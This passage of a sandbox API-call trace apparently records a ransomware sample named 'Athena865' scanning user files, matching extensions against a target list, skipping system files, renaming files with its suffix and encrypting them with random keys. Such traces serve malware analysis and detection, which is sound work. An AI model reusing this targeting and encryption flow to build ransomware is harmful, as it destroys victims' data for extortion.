lpString2="vdi") returned -1 [0049.901] lstrlenW (lpString="vhd") returned 3 [0049.901] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0049.901] lstrlenW (lpString="vhdx") returned 4 [0049.901] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0049.901] lstrlenW (lpString="avhd") returned 4 [0049.901] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0049.901] lstrlenW (lpString="db") returned 2 [0049.902] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0049.902] lstrlenW (lpString="db2") returned 3 [0049.902] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0049.902] lstrlenW (lpString="db3") returned 3 [0049.902] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0049.902] lstrlenW (lpString="dbf") returned 3 [0049.902] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0049.902] lstrlenW (lpString="mdf") returned 3 [0049.902] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0049.902] lstrlenW (lpString="mdb") returned 3 [0049.902] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0049.902] lstrlenW (lpString="sql") returned 3 [0049.902] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0049.902] lstrlenW (lpString="sqlite") returned 6 [0049.902] lstrcmpiW (lpString1="1o.png", lpString2="sqlite") returned -1 [0049.902] lstrlenW (lpString="sqlite3") returned 7 [0049.902] lstrcmpiW (lpString1="z1o.png", lpString2="sqlite3") returned 1 [0049.902] lstrlenW (lpString="sqlitedb") returned 8 [0049.902] lstrcmpiW (lpString1="2z1o.png", lpString2="sqlitedb") returned -1 [0049.902] lstrlenW (lpString="xml") returned 3 [0049.902] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0049.902] lstrlenW (lpString="$er") returned 3 [0049.902] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0049.902] lstrlenW (lpString="4dd") returned 3 [0049.902] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0049.902] lstrlenW (lpString="4dl") returned 3 [0049.902] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0049.902] lstrlenW (lpString="^^^") returned 3 [0049.902] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0049.902] lstrlenW (lpString="abs") returned 3 [0049.902] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0049.902] lstrlenW (lpString="abx") returned 3 [0049.902] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0049.903] lstrlenW (lpString="accdb") returned 5 [0049.903] lstrcmpiW (lpString1="o.png", lpString2="accdb") returned 1 [0049.903] lstrlenW (lpString="accdc") returned 5 [0049.903] lstrcmpiW (lpString1="o.png", lpString2="accdc") returned 1 [0049.903] lstrlenW (lpString="accde") returned 5 [0049.903] lstrcmpiW (lpString1="o.png", lpString2="accde") returned 1 [0049.903] lstrlenW (lpString="accdr") returned 5 [0049.903] lstrcmpiW (lpString1="o.png", lpString2="accdr") returned 1 [0049.903] lstrlenW (lpString="accdt") returned 5 [0049.903] lstrcmpiW (lpString1="o.png", lpString2="accdt") returned 1 [0049.903] lstrlenW (lpString="accdw") returned 5 [0049.903] lstrcmpiW (lpString1="o.png", lpString2="accdw") returned 1 [0049.903] lstrlenW (lpString="accft") returned 5 [0049.903] lstrcmpiW (lpString1="o.png", lpString2="accft") returned 1 [0049.903] lstrlenW (lpString="adb") returned 3 [0049.903] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0049.903] lstrlenW (lpString="adb") returned 3 [0049.903] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0049.903] lstrlenW (lpString="ade") returned 3 [0049.903] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0049.903] lstrlenW (lpString="adf") returned 3 [0049.903] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0049.903] lstrlenW (lpString="adn") returned 3 [0049.903] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0049.903] lstrlenW (lpString="adp") returned 3 [0049.903] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0049.903] lstrlenW (lpString="alf") returned 3 [0049.903] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0049.903] lstrlenW (lpString="ask") returned 3 [0049.903] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0049.903] lstrlenW (lpString="btr") returned 3 [0049.903] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0049.904] lstrlenW (lpString="cat") returned 3 [0049.904] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0049.904] lstrlenW (lpString="cdb") returned 3 [0049.904] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0049.904] lstrlenW (lpString="ckp") returned 3 [0049.904] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0049.904] lstrlenW (lpString="cma") returned 3 [0049.904] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0049.904] lstrlenW (lpString="cpd") returned 3 [0049.904] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0049.904] lstrlenW (lpString="dacpac") returned 6 [0049.904] lstrcmpiW (lpString1="1o.png", lpString2="dacpac") returned -1 [0049.904] lstrlenW (lpString="dad") returned 3 [0049.904] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0049.904] lstrlenW (lpString="dadiagrams") returned 10 [0049.904] lstrcmpiW (lpString1="vl2z1o.png", lpString2="dadiagrams") returned 1 [0049.904] lstrlenW (lpString="daschema") returned 8 [0049.904] lstrcmpiW (lpString1="2z1o.png", lpString2="daschema") returned -1 [0049.904] lstrlenW (lpString="db-journal") returned 10 [0049.904] lstrcmpiW (lpString1="vl2z1o.png", lpString2="db-journal") returned 1 [0049.904] lstrlenW (lpString="db-shm") returned 6 [0049.904] lstrcmpiW (lpString1="1o.png", lpString2="db-shm") returned -1 [0049.904] lstrlenW (lpString="db-wal") returned 6 [0049.904] lstrcmpiW (lpString1="1o.png", lpString2="db-wal") returned -1 [0049.904] lstrlenW (lpString="dbc") returned 3 [0049.904] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0049.904] lstrlenW (lpString="dbs") returned 3 [0049.904] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0049.904] lstrlenW (lpString="dbt") returned 3 [0049.904] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0049.904] lstrlenW (lpString="dbv") returned 3 [0049.904] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0049.904] lstrlenW (lpString="dbx") returned 3 [0049.905] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0049.905] lstrlenW (lpString="dcb") returned 3 [0049.905] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0049.905] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\nyh71GsC QVkvl2z1o.png.Athena865") returned 96 [0049.905] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\nyh71GsC QVkvl2z1o.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\nyh71gsc qvkvl2z1o.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\nyh71GsC QVkvl2z1o.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\nyh71gsc qvkvl2z1o.png.athena865"), dwFlags=0x1) returned 1 [0049.906] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\nyh71GsC QVkvl2z1o.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\nyh71gsc qvkvl2z1o.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.906] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46157) returned 1 [0049.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.906] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.907] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.907] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.907] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb750, lpName=0x0) returned 0x154 [0049.907] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb750) returned 0x100000 [0049.909] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.909] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.909] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0049.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0049.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.910] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.911] CloseHandle (hObject=0x154) returned 1 [0049.911] CloseHandle (hObject=0x17c) returned 1 [0049.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.912] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b276c70, ftCreationTime.dwHighDateTime=0x1d4d4b3, ftLastAccessTime.dwLowDateTime=0x444a3380, ftLastAccessTime.dwHighDateTime=0x1d4cde7, ftLastWriteTime.dwLowDateTime=0x444a3380, ftLastWriteTime.dwHighDateTime=0x1d4cde7, nFileSizeHigh=0x0, nFileSizeLow=0x14dcb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Quau.wav", cAlternateFileName="")) returned 1 [0049.912] lstrcmpiW (lpString1="Quau.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.912] lstrcmpiW (lpString1="Quau.wav", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.912] lstrcmpiW (lpString1="Quau.wav", lpString2=".") returned 1 [0049.912] lstrcmpiW (lpString1="Quau.wav", lpString2="..") returned 1 [0049.912] lstrcmpiW (lpString1="Quau.wav", lpString2="windows") returned -1 [0049.912] lstrcmpiW (lpString1="Quau.wav", lpString2="bootmgr") returned 1 [0049.912] lstrcmpiW (lpString1="Quau.wav", lpString2="temp") returned -1 [0049.912] lstrcmpiW (lpString1="Quau.wav", lpString2="pagefile.sys") returned 1 [0049.912] lstrcmpiW (lpString1="Quau.wav", lpString2="boot") returned 1 [0049.912] lstrcmpiW (lpString1="Quau.wav", lpString2="ids.txt") returned 1 [0049.912] lstrcmpiW (lpString1="Quau.wav", lpString2="ntuser.dat") returned 1 [0049.913] lstrcmpiW (lpString1="Quau.wav", lpString2="perflogs") returned 1 [0049.913] lstrcmpiW (lpString1="Quau.wav", lpString2="MSBuild") returned 1 [0049.913] lstrlenW (lpString="Quau.wav") returned 8 [0049.913] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Quau.wav" | out: lpString1="Quau.wav") returned="Quau.wav" [0049.913] lstrlenW (lpString="Quau.wav") returned 8 [0049.913] lstrlenW (lpString="Athena865") returned 9 [0049.913] lstrlenW (lpString=".dll") returned 4 [0049.913] lstrcmpiW (lpString1="Quau.wav", lpString2=".dll") returned 1 [0049.913] lstrlenW (lpString=".lnk") returned 4 [0049.913] lstrcmpiW (lpString1="Quau.wav", lpString2=".lnk") returned 1 [0049.913] lstrlenW (lpString=".ini") returned 4 [0049.913] lstrcmpiW (lpString1="Quau.wav", lpString2=".ini") returned 1 [0049.913] lstrlenW (lpString=".sys") returned 4 [0049.913] lstrcmpiW (lpString1="Quau.wav", lpString2=".sys") returned 1 [0049.913] lstrlenW (lpString="Quau.wav") returned 8 [0049.913] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Quau.wav.Athena865") returned 82 [0049.913] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Quau.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\quau.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Quau.wav.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\quau.wav.athena865"), dwFlags=0x1) returned 1 [0049.914] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Quau.wav.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\quau.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.914] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=85451) returned 1 [0049.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.914] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.915] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.915] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.915] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x150d0, lpName=0x0) returned 0x154 [0049.915] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x150d0) returned 0x100000 [0049.918] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.919] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.919] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0049.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0049.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.920] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.921] CloseHandle (hObject=0x154) returned 1 [0049.921] CloseHandle (hObject=0x17c) returned 1 [0049.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.922] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19f2a530, ftCreationTime.dwHighDateTime=0x1d4c73a, ftLastAccessTime.dwLowDateTime=0xf0cf0bf0, ftLastAccessTime.dwHighDateTime=0x1d4cab1, ftLastWriteTime.dwLowDateTime=0xf0cf0bf0, ftLastWriteTime.dwHighDateTime=0x1d4cab1, nFileSizeHigh=0x0, nFileSizeLow=0xc940, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QwfewF.jpg", cAlternateFileName="")) returned 1 [0049.922] lstrcmpiW (lpString1="QwfewF.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.922] lstrcmpiW (lpString1="QwfewF.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2=".") returned 1 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2="..") returned 1 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2="windows") returned -1 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2="bootmgr") returned 1 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2="temp") returned -1 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2="pagefile.sys") returned 1 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2="boot") returned 1 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2="ids.txt") returned 1 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2="ntuser.dat") returned 1 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2="perflogs") returned 1 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2="MSBuild") returned 1 [0049.923] lstrlenW (lpString="QwfewF.jpg") returned 10 [0049.923] lstrcpyW (in: lpString1=0x241e8c8, lpString2="QwfewF.jpg" | out: lpString1="QwfewF.jpg") returned="QwfewF.jpg" [0049.923] lstrlenW (lpString="QwfewF.jpg") returned 10 [0049.923] lstrlenW (lpString="Athena865") returned 9 [0049.923] lstrcmpiW (lpString1="wfewF.jpg", lpString2="Athena865") returned 1 [0049.923] lstrlenW (lpString=".dll") returned 4 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2=".dll") returned 1 [0049.923] lstrlenW (lpString=".lnk") returned 4 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2=".lnk") returned 1 [0049.923] lstrlenW (lpString=".ini") returned 4 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2=".ini") returned 1 [0049.923] lstrlenW (lpString=".sys") returned 4 [0049.923] lstrcmpiW (lpString1="QwfewF.jpg", lpString2=".sys") returned 1 [0049.923] lstrlenW (lpString="QwfewF.jpg") returned 10 [0049.923] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\QwfewF.jpg.Athena865") returned 84 [0049.923] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\QwfewF.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\qwfewf.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\QwfewF.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\qwfewf.jpg.athena865"), dwFlags=0x1) returned 1 [0049.924] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\QwfewF.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\qwfewf.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.924] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=51520) returned 1 [0049.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.925] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.925] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.926] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.926] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcc40, lpName=0x0) returned 0x154 [0049.926] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcc40) returned 0x100000 [0049.928] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.928] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.928] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0049.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0049.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.929] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.930] CloseHandle (hObject=0x154) returned 1 [0049.930] CloseHandle (hObject=0x17c) returned 1 [0049.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.931] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe18fbda0, ftCreationTime.dwHighDateTime=0x1d4d04d, ftLastAccessTime.dwLowDateTime=0x267f5580, ftLastAccessTime.dwHighDateTime=0x1d4c813, ftLastWriteTime.dwLowDateTime=0x267f5580, ftLastWriteTime.dwHighDateTime=0x1d4c813, nFileSizeHigh=0x0, nFileSizeLow=0x689d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="R9R-zhvtD.gif", cAlternateFileName="R9R-ZH~1.GIF")) returned 1 [0049.931] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.931] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.931] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2=".") returned 1 [0049.931] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2="..") returned 1 [0049.931] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2="windows") returned -1 [0049.931] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2="bootmgr") returned 1 [0049.932] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2="temp") returned -1 [0049.932] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2="pagefile.sys") returned 1 [0049.932] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2="boot") returned 1 [0049.932] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2="ids.txt") returned 1 [0049.932] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2="ntuser.dat") returned 1 [0049.932] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2="perflogs") returned 1 [0049.932] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2="MSBuild") returned 1 [0049.932] lstrlenW (lpString="R9R-zhvtD.gif") returned 13 [0049.932] lstrcpyW (in: lpString1=0x241e8c8, lpString2="R9R-zhvtD.gif" | out: lpString1="R9R-zhvtD.gif") returned="R9R-zhvtD.gif" [0049.932] lstrlenW (lpString="R9R-zhvtD.gif") returned 13 [0049.932] lstrlenW (lpString="Athena865") returned 9 [0049.932] lstrcmpiW (lpString1="zhvtD.gif", lpString2="Athena865") returned 1 [0049.932] lstrlenW (lpString=".dll") returned 4 [0049.932] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2=".dll") returned 1 [0049.932] lstrlenW (lpString=".lnk") returned 4 [0049.932] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2=".lnk") returned 1 [0049.932] lstrlenW (lpString=".ini") returned 4 [0049.932] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2=".ini") returned 1 [0049.932] lstrlenW (lpString=".sys") returned 4 [0049.932] lstrcmpiW (lpString1="R9R-zhvtD.gif", lpString2=".sys") returned 1 [0049.932] lstrlenW (lpString="R9R-zhvtD.gif") returned 13 [0049.932] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\R9R-zhvtD.gif.Athena865") returned 87 [0049.932] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\R9R-zhvtD.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js 